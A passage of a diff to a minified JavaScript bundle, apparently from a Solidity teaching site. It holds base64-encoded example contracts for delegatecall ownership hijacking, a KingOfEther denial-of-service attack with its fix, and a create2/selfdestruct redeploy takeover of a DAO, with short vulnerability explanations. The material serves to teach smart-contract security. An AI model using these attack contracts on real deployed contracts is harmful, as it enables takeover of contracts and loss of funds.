GlvbiBkb1NvbWV0aGluZygpIGJlbG93IHdpbGwKICAgICAgICAvLyBiZSBjYWxsZWQKICAgICAgICBoYWNrTWUuZG9Tb21ldGhpbmcoMSk7CiAgICB9CgogICAgLy8gZnVuY3Rpb24gc2lnbmF0dXJlIG11c3QgbWF0Y2ggSGFja01lLmRvU29tZXRoaW5nKCkKICAgIGZ1bmN0aW9uIGRvU29tZXRoaW5nKHVpbnQyNTYgX251bSkgcHVibGljIHsKICAgICAgICBvd25lciA9IG1zZy5zZW5kZXI7CiAgICB9Cn0K"}],Yk=`
                                      Vulnerability
                                      
+
                                    `,Wk=({prev:s,next:a})=>r.jsx(A,{version:mk,title:bk,description:wk,html:Zk,prev:s,next:a,codes:kk}),Bk="0.8.24",Gk="Delegatecall",Vk="An example of exploits using delegatecall in Solidity",fk=[{fileName:"Delegatecall_1.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCkhhY2tNZSBpcyBhIGNvbnRyYWN0IHRoYXQgdXNlcyBkZWxlZ2F0ZWNhbGwgdG8gZXhlY3V0ZSBjb2RlLgpJdCBpcyBub3Qgb2J2aW91cyB0aGF0IHRoZSBvd25lciBvZiBIYWNrTWUgY2FuIGJlIGNoYW5nZWQgc2luY2UgdGhlcmUgaXMgbm8KZnVuY3Rpb24gaW5zaWRlIEhhY2tNZSB0byBkbyBzby4gSG93ZXZlciBhbiBhdHRhY2tlciBjYW4gaGlqYWNrIHRoZQpjb250cmFjdCBieSBleHBsb2l0aW5nIGRlbGVnYXRlY2FsbC4gTGV0J3Mgc2VlIGhvdy4KCjEuIEFsaWNlIGRlcGxveXMgTGliCjIuIEFsaWNlIGRlcGxveXMgSGFja01lIHdpdGggYWRkcmVzcyBvZiBMaWIKMy4gRXZlIGRlcGxveXMgQXR0YWNrIHdpdGggYWRkcmVzcyBvZiBIYWNrTWUKNC4gRXZlIGNhbGxzIEF0dGFjay5hdHRhY2soKQo1LiBBdHRhY2sgaXMgbm93IHRoZSBvd25lciBvZiBIYWNrTWUKCldoYXQgaGFwcGVuZWQ/CkV2ZSBjYWxsZWQgQXR0YWNrLmF0dGFjaygpLgpBdHRhY2sgY2FsbGVkIHRoZSBmYWxsYmFjayBmdW5jdGlvbiBvZiBIYWNrTWUgc2VuZGluZyB0aGUgZnVuY3Rpb24Kc2VsZWN0b3Igb2YgcHduKCkuIEhhY2tNZSBmb3J3YXJkcyB0aGUgY2FsbCB0byBMaWIgdXNpbmcgZGVsZWdhdGVjYWxsLgpIZXJlIG1zZy5kYXRhIGNvbnRhaW5zIHRoZSBmdW5jdGlvbiBzZWxlY3RvciBvZiBwd24oKS4KVGhpcyB0ZWxscyBTb2xpZGl0eSB0byBjYWxsIHRoZSBmdW5jdGlvbiBwd24oKSBpbnNpZGUgTGliLgpUaGUgZnVuY3Rpb24gcHduKCkgdXBkYXRlcyB0aGUgb3duZXIgdG8gbXNnLnNlbmRlci4KRGVsZWdhdGVjYWxsIHJ1bnMgdGhlIGNvZGUgb2YgTGliIHVzaW5nIHRoZSBjb250ZXh0IG9mIEhhY2tNZS4KVGhlcmVmb3JlIEhhY2tNZSdzIHN0b3JhZ2Ugd2FzIHVwZGF0ZWQgdG8gbXNnLnNlbmRlciB3aGVyZSBtc2cuc2VuZGVyIGlzIHRoZQpjYWxsZXIgb2YgSGFja01lLCBpbiB0aGlzIGNhc2UgQXR0YWNrLgoqLwoKY29udHJhY3QgTGliIHsKICAgIGFkZHJlc3MgcHVibGljIG93bmVyOwoKICAgIGZ1bmN0aW9uIHB3bigpIHB1YmxpYyB7CiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQp9Cgpjb250cmFjdCBIYWNrTWUgewogICAgYWRkcmVzcyBwdWJsaWMgb3duZXI7CiAgICBMaWIgcHVibGljIGxpYjsKCiAgICBjb25zdHJ1Y3RvcihMaWIgX2xpYikgewogICAgICAgIG93bmVyID0gbXNnLnNlbmRlcjsKICAgICAgICBsaWIgPSBMaWIoX2xpYik7CiAgICB9CgogICAgZmFsbGJhY2soKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBhZGRyZXNzKGxpYikuZGVsZWdhdGVjYWxsKG1zZy5kYXRhKTsKICAgIH0KfQoKY29udHJhY3QgQXR0YWNrIHsKICAgIGFkZHJlc3MgcHVibGljIGhhY2tNZTsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzIF9oYWNrTWUpIHsKICAgICAgICBoYWNrTWUgPSBfaGFja01lOwogICAgfQoKICAgIGZ1bmN0aW9uIGF0dGFjaygpIHB1YmxpYyB7CiAgICAgICAgaGFja01lLmNhbGwoYWJpLmVuY29kZVdpdGhTaWduYXR1cmUoInB3bigpIikpOwogICAgfQp9Cg=="},{fileName:"Delegatecall_2.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qClRoaXMgaXMgYSBtb3JlIHNvcGhpc3RpY2F0ZWQgdmVyc2lvbiBvZiB0aGUgcHJldmlvdXMgZXhwbG9pdC4KCjEuIEFsaWNlIGRlcGxveXMgTGliIGFuZCBIYWNrTWUgd2l0aCB0aGUgYWRkcmVzcyBvZiBMaWIKMi4gRXZlIGRlcGxveXMgQXR0YWNrIHdpdGggdGhlIGFkZHJlc3Mgb2YgSGFja01lCjMuIEV2ZSBjYWxscyBBdHRhY2suYXR0YWNrKCkKNC4gQXR0YWNrIGlzIG5vdyB0aGUgb3duZXIgb2YgSGFja01lCgpXaGF0IGhhcHBlbmVkPwpOb3RpY2UgdGhhdCB0aGUgc3RhdGUgdmFyaWFibGVzIGFyZSBub3QgZGVmaW5lZCBpbiB0aGUgc2FtZSBtYW5uZXIgaW4gTGliCmFuZCBIYWNrTWUuIFRoaXMgbWVhbnMgdGhhdCBjYWxsaW5nIExpYi5kb1NvbWV0aGluZygpIHdpbGwgY2hhbmdlIHRoZSBmaXJzdApzdGF0ZSB2YXJpYWJsZSBpbnNpZGUgSGFja01lLCB3aGljaCBoYXBwZW5zIHRvIGJlIHRoZSBhZGRyZXNzIG9mIGxpYi4KCkluc2lkZSBhdHRhY2soKSwgdGhlIGZpcnN0IGNhbGwgdG8gZG9Tb21ldGhpbmcoKSBjaGFuZ2VzIHRoZSBhZGRyZXNzIG9mIGxpYgpzdG9yZSBpbiBIYWNrTWUuIEFkZHJlc3Mgb2YgbGliIGlzIG5vdyBzZXQgdG8gQXR0YWNrLgpUaGUgc2Vjb25kIGNhbGwgdG8gZG9Tb21ldGhpbmcoKSBjYWxscyBBdHRhY2suZG9Tb21ldGhpbmcoKSBhbmQgaGVyZSB3ZQpjaGFuZ2UgdGhlIG93bmVyLgoqLwoKY29udHJhY3QgTGliIHsKICAgIHVpbnQyNTYgcHVibGljIHNvbWVOdW1iZXI7CgogICAgZnVuY3Rpb24gZG9Tb21ldGhpbmcodWludDI1NiBfbnVtKSBwdWJsaWMgewogICAgICAgIHNvbWVOdW1iZXIgPSBfbnVtOwogICAgfQp9Cgpjb250cmFjdCBIYWNrTWUgewogICAgYWRkcmVzcyBwdWJsaWMgbGliOwogICAgYWRkcmVzcyBwdWJsaWMgb3duZXI7CiAgICB1aW50MjU2IHB1YmxpYyBzb21lTnVtYmVyOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX2xpYikgewogICAgICAgIGxpYiA9IF9saWI7CiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQoKICAgIGZ1bmN0aW9uIGRvU29tZXRoaW5nKHVpbnQyNTYgX251bSkgcHVibGljIHsKICAgICAgICBsaWIuZGVsZWdhdGVjYWxsKGFiaS5lbmNvZGVXaXRoU2lnbmF0dXJlKCJkb1NvbWV0aGluZyh1aW50MjU2KSIsIF9udW0pKTsKICAgIH0KfQoKY29udHJhY3QgQXR0YWNrIHsKICAgIC8vIE1ha2Ugc3VyZSB0aGUgc3RvcmFnZSBsYXlvdXQgaXMgdGhlIHNhbWUgYXMgSGFja01lCiAgICAvLyBUaGlzIHdpbGwgYWxsb3cgdXMgdG8gY29ycmVjdGx5IHVwZGF0ZSB0aGUgc3RhdGUgdmFyaWFibGVzCiAgICBhZGRyZXNzIHB1YmxpYyBsaWI7CiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKICAgIHVpbnQyNTYgcHVibGljIHNvbWVOdW1iZXI7CgogICAgSGFja01lIHB1YmxpYyBoYWNrTWU7CgogICAgY29uc3RydWN0b3IoSGFja01lIF9oYWNrTWUpIHsKICAgICAgICBoYWNrTWUgPSBIYWNrTWUoX2hhY2tNZSk7CiAgICB9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHsKICAgICAgICAvLyBvdmVycmlkZSBhZGRyZXNzIG9mIGxpYgogICAgICAgIGhhY2tNZS5kb1NvbWV0aGluZyh1aW50MjU2KHVpbnQxNjAoYWRkcmVzcyh0aGlzKSkpKTsKICAgICAgICAvLyBwYXNzIGFueSBudW1iZXIgYXMgaW5wdXQsIHRoZSBmdW5jdGlvbiBkb1NvbWV0aGluZygpIGJlbG93IHdpbGwKICAgICAgICAvLyBiZSBjYWxsZWQKICAgICAgICBoYWNrTWUuZG9Tb21ldGhpbmcoMSk7CiAgICB9CgogICAgLy8gZnVuY3Rpb24gc2lnbmF0dXJlIG11c3QgbWF0Y2ggSGFja01lLmRvU29tZXRoaW5nKCkKICAgIGZ1bmN0aW9uIGRvU29tZXRoaW5nKHVpbnQyNTYgX251bSkgcHVibGljIHsKICAgICAgICBvd25lciA9IG1zZy5zZW5kZXI7CiAgICB9Cn0K"}],Yk=`

                                    Vulnerability

                                    delegatecall is tricky to use and wrong usage or incorrect understanding can lead to devastating results.

                                    You must keep 2 things in mind when using delegatecall

                                    @@ -9131,7 +9131,7 @@ change the owner.
                                    • Use stateless Library
                                    -`,Rk=({prev:s,next:a})=>r.jsx(u,{version:Bk,title:Gk,description:Vk,html:Yk,prev:s,next:a,codes:fk}),Xk="0.8.24",vk="Denial of Service",Nk="An example of denial of service hack in Solidity",Hk=[{fileName:"DenialOfService.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qClRoZSBnb2FsIG9mIEtpbmdPZkV0aGVyIGlzIHRvIGJlY29tZSB0aGUga2luZyBieSBzZW5kaW5nIG1vcmUgRXRoZXIgdGhhbgp0aGUgcHJldmlvdXMga2luZy4gUHJldmlvdXMga2luZyB3aWxsIGJlIHJlZnVuZGVkIHdpdGggdGhlIGFtb3VudCBvZiBFdGhlcgpoZSBzZW50LgoqLwoKLyoKMS4gRGVwbG95IEtpbmdPZkV0aGVyCjIuIEFsaWNlIGJlY29tZXMgdGhlIGtpbmcgYnkgc2VuZGluZyAxIEV0aGVyIHRvIGNsYWltVGhyb25lKCkuCjIuIEJvYiBiZWNvbWVzIHRoZSBraW5nIGJ5IHNlbmRpbmcgMiBFdGhlciB0byBjbGFpbVRocm9uZSgpLgogICBBbGljZSByZWNlaXZlcyBhIHJlZnVuZCBvZiAxIEV0aGVyLgozLiBEZXBsb3kgQXR0YWNrIHdpdGggYWRkcmVzcyBvZiBLaW5nT2ZFdGhlci4KNC4gQ2FsbCBhdHRhY2sgd2l0aCAzIEV0aGVyLgo1LiBDdXJyZW50IGtpbmcgaXMgdGhlIEF0dGFjayBjb250cmFjdCBhbmQgbm8gb25lIGNhbiBiZWNvbWUgdGhlIG5ldyBraW5nLgoKV2hhdCBoYXBwZW5lZD8KQXR0YWNrIGJlY2FtZSB0aGUga2luZy4gQWxsIG5ldyBjaGFsbGVuZ2UgdG8gY2xhaW0gdGhlIHRocm9uZSB3aWxsIGJlIHJlamVjdGVkCnNpbmNlIEF0dGFjayBjb250cmFjdCBkb2VzIG5vdCBoYXZlIGEgZmFsbGJhY2sgZnVuY3Rpb24sIGRlbnlpbmcgdG8gYWNjZXB0IHRoZQpFdGhlciBzZW50IGZyb20gS2luZ09mRXRoZXIgYmVmb3JlIHRoZSBuZXcga2luZyBpcyBzZXQuCiovCgpjb250cmFjdCBLaW5nT2ZFdGhlciB7CiAgICBhZGRyZXNzIHB1YmxpYyBraW5nOwogICAgdWludDI1NiBwdWJsaWMgYmFsYW5jZTsKCiAgICBmdW5jdGlvbiBjbGFpbVRocm9uZSgpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID4gYmFsYW5jZSwgIk5lZWQgdG8gcGF5IG1vcmUgdG8gYmVjb21lIHRoZSBraW5nIik7CgogICAgICAgIChib29sIHNlbnQsKSA9IGtpbmcuY2FsbHt2YWx1ZTogYmFsYW5jZX0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CgogICAgICAgIGJhbGFuY2UgPSBtc2cudmFsdWU7CiAgICAgICAga2luZyA9IG1zZy5zZW5kZXI7CiAgICB9Cn0KCmNvbnRyYWN0IEF0dGFjayB7CiAgICBLaW5nT2ZFdGhlciBraW5nT2ZFdGhlcjsKCiAgICBjb25zdHJ1Y3RvcihLaW5nT2ZFdGhlciBfa2luZ09mRXRoZXIpIHsKICAgICAgICBraW5nT2ZFdGhlciA9IEtpbmdPZkV0aGVyKF9raW5nT2ZFdGhlcik7CiAgICB9CgogICAgLy8gWW91IGNhbiBhbHNvIHBlcmZvcm0gYSBET1MgYnkgY29uc3VtaW5nIGFsbCBnYXMgdXNpbmcgYXNzZXJ0LgogICAgLy8gVGhpcyBhdHRhY2sgd2lsbCB3b3JrIGV2ZW4gaWYgdGhlIGNhbGxpbmcgY29udHJhY3QgZG9lcyBub3QgY2hlY2sKICAgIC8vIHdoZXRoZXIgdGhlIGNhbGwgd2FzIHN1Y2Nlc3NmdWwgb3Igbm90LgogICAgLy8KICAgIC8vIGZ1bmN0aW9uICgpIGV4dGVybmFsIHBheWFibGUgewogICAgLy8gICAgIGFzc2VydChmYWxzZSk7CiAgICAvLyB9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHBheWFibGUgewogICAgICAgIGtpbmdPZkV0aGVyLmNsYWltVGhyb25le3ZhbHVlOiBtc2cudmFsdWV9KCk7CiAgICB9Cn0K"},{fileName:"PreventDenialOfService.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEtpbmdPZkV0aGVyIHsKICAgIGFkZHJlc3MgcHVibGljIGtpbmc7CiAgICB1aW50MjU2IHB1YmxpYyBiYWxhbmNlOwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlczsKCiAgICBmdW5jdGlvbiBjbGFpbVRocm9uZSgpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID4gYmFsYW5jZSwgIk5lZWQgdG8gcGF5IG1vcmUgdG8gYmVjb21lIHRoZSBraW5nIik7CgogICAgICAgIGJhbGFuY2VzW2tpbmddICs9IGJhbGFuY2U7CgogICAgICAgIGJhbGFuY2UgPSBtc2cudmFsdWU7CiAgICAgICAga2luZyA9IG1zZy5zZW5kZXI7CiAgICB9CgogICAgZnVuY3Rpb24gd2l0aGRyYXcoKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciAhPSBraW5nLCAiQ3VycmVudCBraW5nIGNhbm5vdCB3aXRoZHJhdyIpOwoKICAgICAgICB1aW50MjU2IGFtb3VudCA9IGJhbGFuY2VzW21zZy5zZW5kZXJdOwogICAgICAgIGJhbGFuY2VzW21zZy5zZW5kZXJdID0gMDsKCiAgICAgICAgKGJvb2wgc2VudCwpID0gbXNnLnNlbmRlci5jYWxse3ZhbHVlOiBhbW91bnR9KCIiKTsKICAgICAgICByZXF1aXJlKHNlbnQsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgfQp9Cg=="}],Fk=`

                                    Vulnerability

                                    +`,Rk=({prev:s,next:a})=>r.jsx(A,{version:Bk,title:Gk,description:Vk,html:Yk,prev:s,next:a,codes:fk}),Xk="0.8.24",vk="Denial of Service",Nk="An example of denial of service hack in Solidity",Hk=[{fileName:"DenialOfService.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qClRoZSBnb2FsIG9mIEtpbmdPZkV0aGVyIGlzIHRvIGJlY29tZSB0aGUga2luZyBieSBzZW5kaW5nIG1vcmUgRXRoZXIgdGhhbgp0aGUgcHJldmlvdXMga2luZy4gUHJldmlvdXMga2luZyB3aWxsIGJlIHJlZnVuZGVkIHdpdGggdGhlIGFtb3VudCBvZiBFdGhlcgpoZSBzZW50LgoqLwoKLyoKMS4gRGVwbG95IEtpbmdPZkV0aGVyCjIuIEFsaWNlIGJlY29tZXMgdGhlIGtpbmcgYnkgc2VuZGluZyAxIEV0aGVyIHRvIGNsYWltVGhyb25lKCkuCjIuIEJvYiBiZWNvbWVzIHRoZSBraW5nIGJ5IHNlbmRpbmcgMiBFdGhlciB0byBjbGFpbVRocm9uZSgpLgogICBBbGljZSByZWNlaXZlcyBhIHJlZnVuZCBvZiAxIEV0aGVyLgozLiBEZXBsb3kgQXR0YWNrIHdpdGggYWRkcmVzcyBvZiBLaW5nT2ZFdGhlci4KNC4gQ2FsbCBhdHRhY2sgd2l0aCAzIEV0aGVyLgo1LiBDdXJyZW50IGtpbmcgaXMgdGhlIEF0dGFjayBjb250cmFjdCBhbmQgbm8gb25lIGNhbiBiZWNvbWUgdGhlIG5ldyBraW5nLgoKV2hhdCBoYXBwZW5lZD8KQXR0YWNrIGJlY2FtZSB0aGUga2luZy4gQWxsIG5ldyBjaGFsbGVuZ2UgdG8gY2xhaW0gdGhlIHRocm9uZSB3aWxsIGJlIHJlamVjdGVkCnNpbmNlIEF0dGFjayBjb250cmFjdCBkb2VzIG5vdCBoYXZlIGEgZmFsbGJhY2sgZnVuY3Rpb24sIGRlbnlpbmcgdG8gYWNjZXB0IHRoZQpFdGhlciBzZW50IGZyb20gS2luZ09mRXRoZXIgYmVmb3JlIHRoZSBuZXcga2luZyBpcyBzZXQuCiovCgpjb250cmFjdCBLaW5nT2ZFdGhlciB7CiAgICBhZGRyZXNzIHB1YmxpYyBraW5nOwogICAgdWludDI1NiBwdWJsaWMgYmFsYW5jZTsKCiAgICBmdW5jdGlvbiBjbGFpbVRocm9uZSgpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID4gYmFsYW5jZSwgIk5lZWQgdG8gcGF5IG1vcmUgdG8gYmVjb21lIHRoZSBraW5nIik7CgogICAgICAgIChib29sIHNlbnQsKSA9IGtpbmcuY2FsbHt2YWx1ZTogYmFsYW5jZX0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CgogICAgICAgIGJhbGFuY2UgPSBtc2cudmFsdWU7CiAgICAgICAga2luZyA9IG1zZy5zZW5kZXI7CiAgICB9Cn0KCmNvbnRyYWN0IEF0dGFjayB7CiAgICBLaW5nT2ZFdGhlciBraW5nT2ZFdGhlcjsKCiAgICBjb25zdHJ1Y3RvcihLaW5nT2ZFdGhlciBfa2luZ09mRXRoZXIpIHsKICAgICAgICBraW5nT2ZFdGhlciA9IEtpbmdPZkV0aGVyKF9raW5nT2ZFdGhlcik7CiAgICB9CgogICAgLy8gWW91IGNhbiBhbHNvIHBlcmZvcm0gYSBET1MgYnkgY29uc3VtaW5nIGFsbCBnYXMgdXNpbmcgYXNzZXJ0LgogICAgLy8gVGhpcyBhdHRhY2sgd2lsbCB3b3JrIGV2ZW4gaWYgdGhlIGNhbGxpbmcgY29udHJhY3QgZG9lcyBub3QgY2hlY2sKICAgIC8vIHdoZXRoZXIgdGhlIGNhbGwgd2FzIHN1Y2Nlc3NmdWwgb3Igbm90LgogICAgLy8KICAgIC8vIGZ1bmN0aW9uICgpIGV4dGVybmFsIHBheWFibGUgewogICAgLy8gICAgIGFzc2VydChmYWxzZSk7CiAgICAvLyB9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHBheWFibGUgewogICAgICAgIGtpbmdPZkV0aGVyLmNsYWltVGhyb25le3ZhbHVlOiBtc2cudmFsdWV9KCk7CiAgICB9Cn0K"},{fileName:"PreventDenialOfService.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEtpbmdPZkV0aGVyIHsKICAgIGFkZHJlc3MgcHVibGljIGtpbmc7CiAgICB1aW50MjU2IHB1YmxpYyBiYWxhbmNlOwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlczsKCiAgICBmdW5jdGlvbiBjbGFpbVRocm9uZSgpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID4gYmFsYW5jZSwgIk5lZWQgdG8gcGF5IG1vcmUgdG8gYmVjb21lIHRoZSBraW5nIik7CgogICAgICAgIGJhbGFuY2VzW2tpbmddICs9IGJhbGFuY2U7CgogICAgICAgIGJhbGFuY2UgPSBtc2cudmFsdWU7CiAgICAgICAga2luZyA9IG1zZy5zZW5kZXI7CiAgICB9CgogICAgZnVuY3Rpb24gd2l0aGRyYXcoKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciAhPSBraW5nLCAiQ3VycmVudCBraW5nIGNhbm5vdCB3aXRoZHJhdyIpOwoKICAgICAgICB1aW50MjU2IGFtb3VudCA9IGJhbGFuY2VzW21zZy5zZW5kZXJdOwogICAgICAgIGJhbGFuY2VzW21zZy5zZW5kZXJdID0gMDsKCiAgICAgICAgKGJvb2wgc2VudCwpID0gbXNnLnNlbmRlci5jYWxse3ZhbHVlOiBhbW91bnR9KCIiKTsKICAgICAgICByZXF1aXJlKHNlbnQsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgfQp9Cg=="}],Fk=`

                                    Vulnerability

                                    There are many ways to attack a smart contract to make it unusable.

                                    One exploit we introduce here is denial of service by making the function to send Ether fail.

                                    // SPDX-License-Identifier: MIT
@@ -9222,7 +9222,7 @@ Ether sent from KingOfEther before the new king is set.
         require(sent, "Failed to send Ether");
     }
 }
-
                                    `,Kk=({prev:s,next:a})=>r.jsx(u,{version:Xk,title:vk,description:Nk,html:Fk,prev:s,next:a,codes:Hk}),Mk="0.8.24",Sk="Deploy Different Contracts at the Same Address",xk="An example of a Solidity contract vulnerable to deploy different contracts at the same address",Jk=[{fileName:"TornadoHack.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCkNhbGxlZCBieSBBbGljZQowLiBEZXBsb3kgREFPCgpDYWxsZWQgYnkgQXR0YWNrZXIKMS4gRGVwbG95IERlcGxveWVyRGVwbG95ZXIKMi4gQ2FsbCBEZXBsb3llckRlcGxveWVyLmRlcGxveSgpCjMuIENhbGwgRGVwbG95ZXIuZGVwbG95UHJvcG9zYWwoKQoKQ2FsbGVkIGJ5IEFsaWNlCjQuIEdldCBEQU8gYXBwcm92YWwgb2YgUHJvcG9zYWwKCkNhbGxlZCBieSBBdHRhY2tlcgo1LiBEZWxldGUgUHJvcG9zYWwgYW5kIERlcGxveWVyCjYuIFJlLWRlcGxveSBEZXBsb3llcgo3LiBDYWxsIERlcGxveWVyLmRlcGxveUF0dGFjaygpCjguIENhbGwgREFPLmV4ZWN1dGUKOS4gQ2hlY2sgREFPLm93bmVyIGlzIGF0dGFja2VyJ3MgYWRkcmVzcwoKREFPIC0tIGFwcHJvdmVkIC0tPiBQcm9wb3NhbApEZXBsb3llckRlcGxveWVyIC0tIGNyZWF0ZTIgLS0+IERlcGxveWVyIC0tIGNyZWF0ZSAtLT4gUHJvcG9zYWwKRGVwbG95ZXJEZXBsb3llciAtLSBjcmVhdGUyIC0tPiBEZXBsb3llciAtLSBjcmVhdGUgLS0+IEF0dGFjawoqLwoKY29udHJhY3QgREFPIHsKICAgIHN0cnVjdCBQcm9wb3NhbCB7CiAgICAgICAgYWRkcmVzcyB0YXJnZXQ7CiAgICAgICAgYm9vbCBhcHByb3ZlZDsKICAgICAgICBib29sIGV4ZWN1dGVkOwogICAgfQoKICAgIGFkZHJlc3MgcHVibGljIG93bmVyID0gbXNnLnNlbmRlcjsKICAgIFByb3Bvc2FsW10gcHVibGljIHByb3Bvc2FsczsKCiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3MgdGFyZ2V0KSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZShtc2cuc2VuZGVyID09IG93bmVyLCAibm90IGF1dGhvcml6ZWQiKTsKCiAgICAgICAgcHJvcG9zYWxzLnB1c2goCiAgICAgICAgICAgIFByb3Bvc2FsKHt0YXJnZXQ6IHRhcmdldCwgYXBwcm92ZWQ6IHRydWUsIGV4ZWN1dGVkOiBmYWxzZX0pCiAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiBleGVjdXRlKHVpbnQyNTYgcHJvcG9zYWxJZCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgUHJvcG9zYWwgc3RvcmFnZSBwcm9wb3NhbCA9IHByb3Bvc2Fsc1twcm9wb3NhbElkXTsKICAgICAgICByZXF1aXJlKHByb3Bvc2FsLmFwcHJvdmVkLCAibm90IGFwcHJvdmVkIik7CiAgICAgICAgcmVxdWlyZSghcHJvcG9zYWwuZXhlY3V0ZWQsICJleGVjdXRlZCIpOwoKICAgICAgICBwcm9wb3NhbC5leGVjdXRlZCA9IHRydWU7CgogICAgICAgIChib29sIG9rLCkgPSBwcm9wb3NhbC50YXJnZXQuZGVsZWdhdGVjYWxsKAogICAgICAgICAgICBhYmkuZW5jb2RlV2l0aFNpZ25hdHVyZSgiZXhlY3V0ZVByb3Bvc2FsKCkiKQogICAgICAgICk7CiAgICAgICAgcmVxdWlyZShvaywgImRlbGVnYXRlY2FsbCBmYWlsZWQiKTsKICAgIH0KfQoKY29udHJhY3QgUHJvcG9zYWwgewogICAgZXZlbnQgTG9nKHN0cmluZyBtZXNzYWdlKTsKCiAgICBmdW5jdGlvbiBleGVjdXRlUHJvcG9zYWwoKSBleHRlcm5hbCB7CiAgICAgICAgZW1pdCBMb2coIkV4Y3V0ZWQgY29kZSBhcHByb3ZlZCBieSBEQU8iKTsKICAgIH0KCiAgICBmdW5jdGlvbiBlbWVyZ2VuY3lTdG9wKCkgZXh0ZXJuYWwgewogICAgICAgIHNlbGZkZXN0cnVjdChwYXlhYmxlKGFkZHJlc3MoMCkpKTsKICAgIH0KfQoKY29udHJhY3QgQXR0YWNrIHsKICAgIGV2ZW50IExvZyhzdHJpbmcgbWVzc2FnZSk7CgogICAgYWRkcmVzcyBwdWJsaWMgb3duZXI7CgogICAgZnVuY3Rpb24gZXhlY3V0ZVByb3Bvc2FsKCkgZXh0ZXJuYWwgewogICAgICAgIGVtaXQgTG9nKCJFeGN1dGVkIGNvZGUgbm90IGFwcHJvdmVkIGJ5IERBTyA6KSIpOwogICAgICAgIC8vIEZvciBleGFtcGxlIC0gc2V0IERBTydzIG93bmVyIHRvIGF0dGFja2VyCiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQp9Cgpjb250cmFjdCBEZXBsb3llckRlcGxveWVyIHsKICAgIGV2ZW50IExvZyhhZGRyZXNzIGFkZHIpOwoKICAgIGZ1bmN0aW9uIGRlcGxveSgpIGV4dGVybmFsIHsKICAgICAgICBieXRlczMyIHNhbHQgPSBrZWNjYWsyNTYoYWJpLmVuY29kZSh1aW50MjU2KDEyMykpKTsKICAgICAgICBhZGRyZXNzIGFkZHIgPSBhZGRyZXNzKG5ldyBEZXBsb3llcntzYWx0OiBzYWx0fSgpKTsKICAgICAgICBlbWl0IExvZyhhZGRyKTsKICAgIH0KfQoKY29udHJhY3QgRGVwbG95ZXIgewogICAgZXZlbnQgTG9nKGFkZHJlc3MgYWRkcik7CgogICAgZnVuY3Rpb24gZGVwbG95UHJvcG9zYWwoKSBleHRlcm5hbCB7CiAgICAgICAgYWRkcmVzcyBhZGRyID0gYWRkcmVzcyhuZXcgUHJvcG9zYWwoKSk7CiAgICAgICAgZW1pdCBMb2coYWRkcik7CiAgICB9CgogICAgZnVuY3Rpb24gZGVwbG95QXR0YWNrKCkgZXh0ZXJuYWwgewogICAgICAgIGFkZHJlc3MgYWRkciA9IGFkZHJlc3MobmV3IEF0dGFjaygpKTsKICAgICAgICBlbWl0IExvZyhhZGRyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBraWxsKCkgZXh0ZXJuYWwgewogICAgICAgIHNlbGZkZXN0cnVjdChwYXlhYmxlKGFkZHJlc3MoMCkpKTsKICAgIH0KfQo="}],zk=`

                                    Contract address deployed with create is computed in the following way.

